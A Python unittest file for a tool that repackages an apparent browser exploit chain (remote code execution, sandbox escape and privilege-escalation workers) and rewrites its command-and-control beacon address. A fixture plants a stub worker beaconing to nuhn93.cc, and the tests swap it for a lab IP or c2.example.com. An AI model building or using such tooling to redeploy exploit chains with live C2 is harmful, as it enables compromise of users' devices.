#!/usr/bin/env python3
from __future__ import annotations

import shutil
import sys
import tempfile
import unittest
from pathlib import Path

TOOLS = Path(__file__).resolve().parents[1]
if str(TOOLS) not in sys.path:
    sys.path.insert(0, str(TOOLS))

import build  # noqa: E402


class BuildTest(unittest.TestCase):
    def setUp(self) -> None:
        self.tmp = Path(tempfile.mkdtemp(prefix="ds-build-"))
        self.source = self.tmp / "source"
        self.dest = self.tmp / "next-chain"
        self.source.mkdir(parents=True)
        (self.source / "keep.txt").write_text("untouched\n", encoding="utf-8")
        (self.source / "pe_worker.js").write_text(
            'const C2 = "https://nuhn93.cc:443/beacon";\n'
            'function p7(){ return { host: "nuhn93.cc", port: 443 }; }\n',
            encoding="utf-8",
        )
        (self.source / "log.html").write_text("static log\n", encoding="utf-8")

    def tearDown(self) -> None:
        shutil.rmtree(self.tmp, ignore_errors=True)

    def test_rewrites_c2_and_publishes(self) -> None:
        before = (self.source / "pe_worker.js").read_text(encoding="utf-8")
        result = build.build(self.source, self.dest, "http://192.168.31.130:8000")
        self.assertEqual((self.source / "pe_worker.js").read_text(encoding="utf-8"), before)
        self.assertEqual(result["c2"], "http://192.168.31.130:8000")
        self.assertEqual((self.dest / "keep.txt").read_text(encoding="utf-8"), "untouched\n")
        worker = (self.dest / "pe_worker.js").read_text(encoding="utf-8")
        self.assertIn("http://192.168.31.130:8000/beacon", worker)
        self.assertIn('{ host: "192.168.31.130", port: 8000 }', worker)
        self.assertFalse((self.dest / "log.html").exists())

    def test_https_c2(self) -> None:
        build.build(self.source, self.dest, "https://c2.example.com")
        worker = (self.dest / "pe_worker.js").read_text(encoding="utf-8")
        self.assertIn("https://c2.example.com/beacon", worker)
        self.assertIn('{ host: "c2.example.com", port: 443 }', worker)

    def test_parse_endpoint(self) -> None:
        ep = build.parse_endpoint("https://lab.example:8443", label="--c2")
        self.assertEqual(ep.host, "lab.example")
        self.assertEqual(ep.port, 8443)
        self.assertEqual(ep.origin, "https://lab.example:8443")
        self.assertEqual(ep.url, "https://lab.example:8443")

    def test_source_files_match_external(self) -> None:
        """All 11 source files must come from globals-game.com/a18/ (external)."""
        root = TOOLS.parent / "source"
        expected = [
            "frame.html", "pe_worker.js", "rce_loader.js",
            "rce_module.js", "rce_module_18.6.js", "rce_module_18.7.js",
            "rce_worker_18.4.js", "rce_worker_18.6.js", "rce_worker_18.7.js",
            "sbx0_main_18.4.js", "sbx1_main.js",
        ]
        for fname in expected:
            self.assertTrue((root / fname).is_file(), f"missing {fname}")

    def test_workers_have_addIframe_prefetch(self) -> None:
        """All worker/PE/SBX files must NOT have the redundant _addIframe() prefetch block."""
        root = TOOLS.parent / "source"
        for fname in ("rce_worker_18.4.js", "rce_worker_18.6.js", "rce_worker_18.7.js",
                      "pe_worker.js", "sbx0_main_18.4.js", "sbx1_main.js"):
            text = (root / fname).read_text(encoding="utf-8")
            self.assertNotIn("_addIframe", text, f"{fname} must not have _addIframe prefetch")
            self.assertNotIn("group.html", text, f"{fname} must not reference group.html")

    def test_rce_loader_has_pickLiveBand(self) -> None:
        """rce_loader.js must have pickLiveBand (external version, not our old logic)."""
        root = TOOLS.parent / "source"
        loader = (root / "rce_loader.js").read_text(encoding="utf-8")
        self.assertIn("pickLiveBand", loader)
        self.assertIn("location.origin", loader)


if __name__ == "__main__":
    unittest.main()